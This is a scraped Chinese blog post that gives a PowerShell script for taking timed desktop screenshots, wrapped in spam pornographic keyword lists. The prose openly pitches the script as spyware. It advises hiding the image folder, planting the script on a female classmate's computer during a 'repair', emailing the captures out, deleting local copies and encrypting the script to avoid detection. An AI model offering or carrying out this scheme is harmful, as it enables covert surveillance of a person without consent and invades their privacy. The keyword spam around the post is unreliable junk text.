亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 開發 > PowerShell > 正文

PowerShell小技巧之定時抓取屏幕圖像

2020-03-26 19:14:51
字體:
來源:轉載
供稿:網友

昨天的博文寫了定時記錄操作系統行為,其實說白了就是抓取了擊鍵的記錄和對應窗口的標題欄,而很多應用程序標題欄又包含當時記錄的文件路徑和文件名,用這種方式可以大致記錄操作了哪些程序,打開了哪些文件,以及敲擊了哪些按鍵。事實上這樣記錄操作系統的行為顯得相對單薄一點,因為記錄的內容不太形象,對于新手來說太過于隱晦了,對于人類來說,圖像會比文字更加有利于用戶理解。當操作系統不方便裝屏幕記錄軟件,但又需要看已經登錄用戶在干什么的時候,用PowerShell的腳本來實現定時抓取圖像的方式記錄操作,查看圖像就知道登陸用戶做了什么,當然你存放圖片的目錄要隱蔽,不要讓用戶發現了為好。

     當然對于在學校計算機系的屌絲們,這個功能也可以用來了解自己的女神有什么喜好了。什么?咋把腳本安裝到女神的電腦里?咋把抓的圖片返回給你?拜托,這么簡單的問題,還需要我幫你找答案么?女神的電腦壞了,通常都會找一個熟悉電腦軟硬件的計算機系的童鞋來修的,修的時候悄悄動點手腳。圖片返回的問題呢,完全可以定時抓取,然后抓取一定數量之后打包發到指定郵箱,然后刪除本地圖片嘛。什么?不知道PowerShell咋發郵件…你妹的,用System.Net.Mail.MailMessage組件調用SMTP發送郵件你不會?我以前寫過類似文章的…好吧,送佛送到西,自己去看吧《使用PowerShell通過Smtp發送郵件》。還有就是寫的腳本務必要加密,至于加密方式方法嘛,改天吧,改天專門寫一篇文章寫關于PowerShell腳本加密,這種事情嘛,如果被女神發現鳥,那可是吃不了兜著走的事啊。還有出去別告訴別人,我給你出的這主意,還有隱私的東西,自己把握好度,如果警察蜀黍請你去喝茶了可就不好玩了。本故事純屬虛構,如有雷同純屬巧合,本人只提供創意,如果具體實施被女神打破頭,或者被警察蜀黍請去喝茶了,本人概不負任何法律責任哈。嘿嘿,不多扯了,先上今天的定時抓取屏幕圖像的方法。
    
     其實方法不復雜,寫了一個抓取屏幕的函數,定時執行,將抓取的圖片存入指定位置,如果達到終止的時間,結束執行.代碼不復雜,有看不懂的兄弟可以留言,我幫你解答。

接下來上代碼:

 

復制代碼 代碼如下:

 =====文件名:Get-TimedScreenshot.ps1=====
function Get-TimedScreenshot {
<#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
    Takes screenshots at a regular interval and saves them to disk.
.PARAMETER Path
    Specifies the folder path.
.PARAMETER Interval
    Specifies the interval in seconds between taking screenshots.
.Parameter EndTime
    Specifies when the script should stop running in the format HH-MM
.Example
    Get-TimedScreenshot -Path c:/temp/ -Interval 30 -EndTime 14:00
#>

 

    [CmdletBinding()] Param(
        [Parameter(Mandatory=$True)]
        [ValidateScript({Test-Path -Path $_ })]
        [String] $Path,

        [Parameter(Mandatory=$True)]
        [Int32] $Interval,

        [Parameter(Mandatory=$True)]
        [String] $EndTime
    )

    #Define helper function that generates and saves screenshot
    Function Get-Screenshot {
       $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
       $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
       $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
       $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
       $DrawingGraphics.Dispose()
       $ScreenshotObject.Save($FilePath)
       $ScreenshotObject.Dispose()
    }
    Try {

        #load required assembly
        Add-Type -Assembly System.Windows.Forms           

        Do {
            #get the current time and build the filename from it
            $Time = (Get-Date)

            [String] $FileName = "$($Time.Month)"
            $FileName += '-'
            $FileName += "$($Time.Day)"
            $FileName += '-'
            $FileName += "$($Time.Year)"
            $FileName += '-'
            $FileName += "$($Time.Hour)"
            $FileName += '-'
            $FileName += "$($Time.Minute)"
            $FileName += '-'
            $FileName += "$($Time.Second)"
            $FileName += '.png'

            #use join-path to add path to filename
            [String] $FilePath = (Join-Path $Path $FileName)

            #run screenshot function
            Get-Screenshot

            Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"

            Start-Sleep -Seconds $Interval
        }

        #note that this will run once regardless if the specified time as passed
        While ((Get-Date -Format HH:mm) -lt $EndTime)
    }

    Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}

 

執行方式,如下圖所示:

PowerShell,技巧,定時,抓取,屏幕圖像

執行效果,會在指定的目錄,按照時間間隔生成桌面抓圖,類似如下圖所示.

PowerShell,技巧,定時,抓取,屏幕圖像

哥,只能幫你到這了!兄弟們好自為之吧!

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
欧美日韩国产专区| 成人免费网站在线观看| 精品女同一区二区三区在线播放| 日韩精品视频三区| 成人免费在线视频网站| 亚洲精品一二区| 久久久精品视频成人| 国产成+人+综合+亚洲欧美丁香花| www亚洲精品| 91禁外国网站| 亚洲色图国产精品| 亚洲乱码国产乱码精品精天堂| 国产成人一区三区| 久久69精品久久久久久国产越南| 91久久精品在线| 亚洲网站在线播放| 92看片淫黄大片看国产片| 国产一区二区三区在线免费观看| 日韩视频免费中文字幕| 亚洲第一男人av| 国产精品美女久久| 亚洲欧美制服第一页| 亚洲a级在线播放观看| 日韩天堂在线视频| 日韩免费在线观看视频| 亚洲午夜国产成人av电影男同| 亚洲欧美日韩一区在线| 欧美亚洲一级片| 亚洲精品之草原avav久久| 久久青草福利网站| 日韩av中文字幕在线播放| 91精品国产综合久久香蕉的用户体验| 在线成人激情黄色| 欧美激情小视频| 国产精品久久久久久久美男| 日本精品久久久| 精品人伦一区二区三区蜜桃免费| 国产精品美女免费| 疯狂蹂躏欧美一区二区精品| 538国产精品视频一区二区| 国产999精品久久久影片官网| 91高潮在线观看| 欧美高清性猛交| 久久久国产视频91| 国产日韩视频在线观看| 久久久综合免费视频| 国产精品视频免费观看www| 日韩在线观看电影| 亚洲人成网站色ww在线| 成人在线中文字幕| 欧美性猛交xxxx偷拍洗澡| 国产精品扒开腿做爽爽爽视频| 色樱桃影院亚洲精品影院| 国产亚洲福利一区| 国内外成人免费激情在线视频网站| 国产一区二区三区在线播放免费观看| 成人欧美一区二区三区黑人| 久久久天堂国产精品女人| 亚洲高清久久网| 蜜臀久久99精品久久久久久宅男| 亚洲美女www午夜| 国产精品美女主播在线观看纯欲| 国产69精品99久久久久久宅男| 欧美激情视频免费观看| 欧美日韩在线视频一区| 欧美在线视频一区| 久久国产天堂福利天堂| 日韩中文字幕在线视频| 中文精品99久久国产香蕉| 麻豆乱码国产一区二区三区| 亚洲视频免费一区| 在线电影欧美日韩一区二区私密| 国产激情综合五月久久| 欧美极品少妇xxxxⅹ喷水| 亚洲精品自产拍| 国内精品久久久久伊人av| 黑人欧美xxxx| 国产精品成人av性教育| 欧美高跟鞋交xxxxxhd| 欧美日韩成人在线播放| 久久亚洲综合国产精品99麻豆精品福利| 久久夜色精品国产亚洲aⅴ| 日日噜噜噜夜夜爽亚洲精品| 在线精品国产成人综合| 欧美高清视频在线观看| 欧美高跟鞋交xxxxxhd| 少妇高潮久久77777| 欧美日韩另类视频| 久久激情视频久久| 成人高清视频观看www| 欧美孕妇与黑人孕交| 国产日韩精品电影| 91精品国产99| 欧美在线一级视频| 久久91精品国产91久久久| 欧美激情视频在线观看| 亚洲欧美国产一本综合首页| 久久成人在线视频| 久久成人18免费网站| 久久亚洲综合国产精品99麻豆精品福利| 成人av.网址在线网站| 成人在线观看视频网站| 91亚洲国产成人精品性色| xxx成人少妇69| 精品在线小视频| 亚洲男人天堂视频| 国产成人aa精品一区在线播放| 久久国产视频网站| 久久综合五月天| 亚洲欧美视频在线| 亚洲视频第一页| 久久久久久亚洲精品不卡| 久久久久久久久久国产精品| 欧美视频在线观看免费网址| 亚洲精品之草原avav久久| 色琪琪综合男人的天堂aⅴ视频| 欧美激情一二三| 亚洲成人网在线| 91精品国产99| 亚洲国产日韩欧美在线动漫| 亚洲免费福利视频| 欧美日韩电影在线观看| 国产精品999| 中文字幕九色91在线| 欧美激情伊人电影| 国内精品国产三级国产在线专| 国内精品模特av私拍在线观看| 91网站免费观看| 国产精品视频专区| 久久深夜福利免费观看| 91国产精品91| 97**国产露脸精品国产| 久久久91精品国产| 亚洲精品中文字幕女同| 日韩动漫免费观看电视剧高清| 国产成人精品在线观看| 亚洲天天在线日亚洲洲精| 亚洲视频在线免费看| 欧美激情一级二级| 亚洲性视频网址| 亚洲国产女人aaa毛片在线| 综合欧美国产视频二区| 国产日韩在线播放| 欧美日韩国产一区二区| 欧美激情在线狂野欧美精品| 国产精品福利在线观看网址| 日韩电影免费在线观看| 国产精品九九久久久久久久| 欧美日韩一区二区三区在线免费观看| 成人网中文字幕| 国内精品久久久久久久久| 亚洲成色777777在线观看影院| 丝袜亚洲另类欧美重口| 精品视频偷偷看在线观看| 亚洲男人天堂2023| 亚洲黄色av网站| 在线视频中文亚洲| 久久男人的天堂| 欧美性xxxx极品hd欧美风情| 久久成人免费视频| 亚洲国产欧美一区二区三区久久| 欧美老少做受xxxx高潮| 欧美极品少妇xxxxⅹ喷水| 亚洲一区二区三区在线视频|